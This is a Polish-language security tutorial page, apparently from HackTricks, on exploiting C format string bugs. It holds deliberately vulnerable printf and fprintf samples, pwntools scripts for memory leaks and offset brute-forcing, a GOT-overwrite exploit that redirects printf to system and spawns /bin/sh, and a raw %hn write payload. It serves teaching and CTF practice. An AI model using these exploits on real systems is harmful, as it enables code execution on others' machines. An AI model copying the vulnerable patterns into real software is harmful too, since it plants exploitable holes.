9.3 KiB
Format Strings
{{#include ../../banners/hacktricks-training.md}}
Podstawowe informacje
W C printf to funkcja, która może być używana do drukowania pewnego ciągu znaków. Pierwszym parametrem, którego oczekuje ta funkcja, jest surowy tekst z formatami. Następne parametry to wartości, które mają zastąpić formaty w surowym tekście.
Inne podatne funkcje to sprintf() i fprintf().
Vulnerabilność pojawia się, gdy tekst atakującego jest używany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane wejściowe, które wykorzystują możliwości formatu printf do odczytu i zapisu dowolnych danych w dowolnym adresie (czytelnym/zapisywalnym). Dzięki temu będzie mógł wykonać dowolny kod.
Formatery:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Przykłady:
- Przykład z luką:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalne użycie:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Z brakującymi argumentami:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf podatny:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Dostęp do wskaźników
Format %<n>$x, gdzie n to liczba, pozwala wskazać printf, aby wybrał n-ty parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu używając printf, możesz to zrobić:
printf("%x %x %x %x")
i możesz czytać od pierwszego do czwartego parametru.
Lub możesz zrobić:
printf("%4$x")
i czytać bezpośrednio czwarty.
Zauważ, że atakujący kontroluje printf parametr, co zasadniczo oznacza, że jego dane wejściowe będą znajdować się na stosie, gdy printf zostanie wywołane, co oznacza, że mógłby zapisać konkretne adresy pamięci na stosie.
Caution
Atakujący kontrolujący te dane wejściowe będzie w stanie dodać dowolny adres na stosie i sprawić, że
printfuzyska do nich dostęp. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
Arbitralne Odczyty
Możliwe jest użycie formatera %n$s, aby sprawić, że printf uzyska adres znajdujący się na n pozycji, podążając za nim i wydrukować go tak, jakby był ciągiem (drukować aż do znalezienia 0x00). Więc jeśli adres bazowy binarnego pliku to 0x8048000, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego pliku za pomocą:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
Caution
Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie obcięty na 0x00 na końcu tego adresu.
Znajdź offset
Aby znaleźć offset do swojego wejścia, możesz wysłać 4 lub 8 bajtów (0x41414141), a następnie %1$x i zwiększać wartość, aż uzyskasz A's.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Jak przydatne
Arbitralne odczyty mogą być przydatne do:
- **Zrzutu** **binarnego** z pamięci
- **Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe** **informacje** (jak kanarki, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitralne Zapis**
Formatter **`%<num>$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze arbitralną liczbę w arbitralnym adresie.
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatera **`%.<num-write>%<num>$n`** do zapisania liczby **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak 0x08049724 (co jest OGROMNĄ liczbą do zapisania na raz), używa się $hn zamiast $n. Pozwala to na zapisanie tylko 2 bajtów. Dlatego ta operacja jest wykonywana dwa razy, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
W związku z tym ta podatność pozwala na zapisanie czegokolwiek w dowolnym adresie (arbitralny zapis).
W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która będzie wywoływana później. Chociaż można to wykorzystać do innych technik arbitralnego zapisu do exec:
{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}
Zamierzamy nadpisać funkcję, która otrzymuje swoje argumenty od użytkownika i wskazać ją na funkcję system.
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: najpierw zapisujesz 2 bajty adresu, a następnie kolejne 2. W tym celu używa się $hn.
- HOB odnosi się do 2 wyższych bajtów adresu
- LOB odnosi się do 2 niższych bajtów adresu
Następnie, z powodu działania formatu ciągu, musisz najpierw zapisać najmniejszy z [HOB, LOB], a potem drugi.
Jeśli HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Jeśli HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Szablon Pwntools
Możesz znaleźć szablon do przygotowania exploita dla tego rodzaju podatności w:
{{#ref}} format-strings-template.md {{#endref}}
Lub ten podstawowy przykład z tutaj:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings do BOF
Możliwe jest nadużycie działań zapisu w podatności na format string, aby zapisać w adresach stosu i wykorzystać podatność typu buffer overflow.
Inne Przykłady i Odniesienia
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie format strings do wycieku flagi ze stosu (nie ma potrzeby zmieniać przepływu wykonania)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bity, relro, brak canary, nx, brak pie, format string do nadpisania adresu
fflushfunkcją win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w
.fini_array(aby przepływ wrócił jeszcze raz) i zapisania adresu dosystemw tabeli GOT wskazującego nastrlen. Gdy przepływ wróci do main,strlenzostanie wykonane z danymi wejściowymi użytkownika i wskazując nasystem, wykona przekazane polecenia.
{{#include ../../banners/hacktricks-training.md}}